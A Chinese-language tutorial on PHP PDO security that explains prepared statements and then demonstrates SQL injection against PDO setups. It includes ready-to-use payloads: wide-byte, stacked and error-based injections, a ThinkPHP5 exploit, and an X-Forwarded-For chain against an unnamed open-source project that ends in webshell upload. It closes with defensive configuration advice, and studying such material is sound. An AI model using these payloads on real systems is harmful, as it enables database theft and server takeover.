从PDO下的注入思路到Git 2000 Star项目0day
字数 1145 2025-08-09 17:09:31
PDO安全机制与注入技术深度解析
0x01 PDO基础概念
PDO简介
PDO(PHP Data Object)是PHP访问数据库的轻量级一致接口,提供数据访问抽象层,支持多种数据库的统一操作方式。
PHP连接MySQL的三种方式比较
| 特性 | MySQL | Mysqli | PDO |
|---|---|---|---|
| 引入版本 | 5.0 | 5.0 | 3.0之前 |
| PHP5.x包含 | 是 | 是 | 是 |
| 服务端prepare支持 | 是 | 是 | 否 |
| 客户端prepare支持 | 否 | 否 | 是 |
| 存储过程支持 | 否 | 是 | 是 |
| 多语句执行支持 | 是 | 大多数 | 否 |
0x02 PDO防范SQL注入机制
1. 特殊字符转义方法
quote()方法:对输入字符串添加引号并转义特殊字符
$string = "Naughty ' string";
$quoted = $conn->quote($string); // 输出: 'Naughty '' string'
2. 预编译语句技术
2.1 命名参数方式
$sql = 'SELECT * FROM user WHERE username=:username AND password=:password';
$stmt = $pdo->prepare($sql);
$stmt->execute(array(":username"=>$username,":password"=>$password));
2.2 问号占位符方式
$sql = "SELECT * FROM user WHERE username=? AND password=?";
$stmt = $pdo->prepare($sql);
$stmt->execute(array($username,$password));
2.3 bindParam绑定参数
$sql = 'SELECT * FROM user WHERE username=:username AND password=:password';
$stmt = $pdo->prepare($sql);
$stmt->bindParam(":username",$username,PDO::PARAM_STR);
$stmt->bindParam(":password",$password,PDO::PARAM_STR);
$stmt->execute();
0x03 PDO注入技术突破
1. 宽字节注入
当MySQL设置为GBK编码时,构造%df'可绕过转义:
id=1%df' AND 1=1--+
2. 堆叠注入与报错注入
关键PDO配置参数:
PDO::ATTR_EMULATE_PREPARES:模拟预处理(默认true)PDO::ATTR_ERRMODE:报错模式PDO::MYSQL_ATTR_MULTI_STATEMENTS:多语句执行(默认true)
2.1 无过滤堆叠注入
// 危险代码示例
$sql = "SELECT * FROM user WHERE username='{$username}'";
$pdo->query($sql); // 可注入多语句
2.2 模拟预处理下的注入
$sql = "SELECT id,".$_GET['role']." FROM user WHERE username = ?";
$stmt = $pdo->prepare($sql);
$stmt->bindParam(1,$username);
$stmt->execute(); // 通过role参数注入
2.3 报错注入技术
启用报错模式后:
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
// 使用GTID_SUBSET等函数触发报错
?id=1 OR GTID_SUBSET(CONCAT((MID((IFNULL(CAST(CURRENT_USER() AS NCHAR),0x20)),1,190))),6700)
3. 安全配置方案
$pdo = new PDO('mysql:dbname=test;host=localhost;charset=utf8', 'root', 'root', [
PDO::ATTR_EMULATE_PREPARES => false, // 禁用模拟预处理
PDO::MYSQL_ATTR_MULTI_STATEMENTS => false // 禁用多语句
]);
0x04 实战案例研究
1. ThinkPHP5 PDO注入案例
漏洞代码:
$ids = input('ids/a'); // 接收数组
$result = $t->where('id', 'in', $ids)->select();
利用方式:
?ids[0,updatexml(0,concat(0xa,user()),0)]=1231
2. Git 2000+ Star项目0day
漏洞点:
- 通过X-Forwarded-For头注入
- PDO默认配置允许多语句执行
利用步骤:
- 构造堆叠注入Payload:
X-FORWARDED-For:1";set@a=0xHEXCODE;PREPARE a FROM @a;execute a;select sleep(3);#
- 将恶意SQL语句转换为16进制编码
- 通过时间延迟确认注入成功
后台Getshell方法:
- 绕过前端JS校验上传PHP文件
- 文件路径规则:
/res/upload/年-月-日/时分秒.php - 使用Intruder爆破准确的文件名
0x05 高级注入技术
Prepare Statement绕过技术
SET @a=0x73656C65637420757365722829; -- select user()的16进制
PREPARE a FROM @a;
EXECUTE a;
无回显注入解决方案
- 时间延迟技术
- DNS外带技术
- 直接插入管理员账号
防御建议
- 始终禁用模拟预处理:
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
- 禁用多语句执行:
new PDO($dsn, $user, $pass, [PDO::MYSQL_ATTR_MULTI_STATEMENTS => false]);
- 严格过滤所有用户输入
- 使用白名单验证输入格式
- 最小权限原则配置数据库账户
参考资源
- ThinkPHP5注入分析 - 离别歌
- PDO安全配置指南 - 51CTO
- PDO注入技术详解 - 阿里云先知社区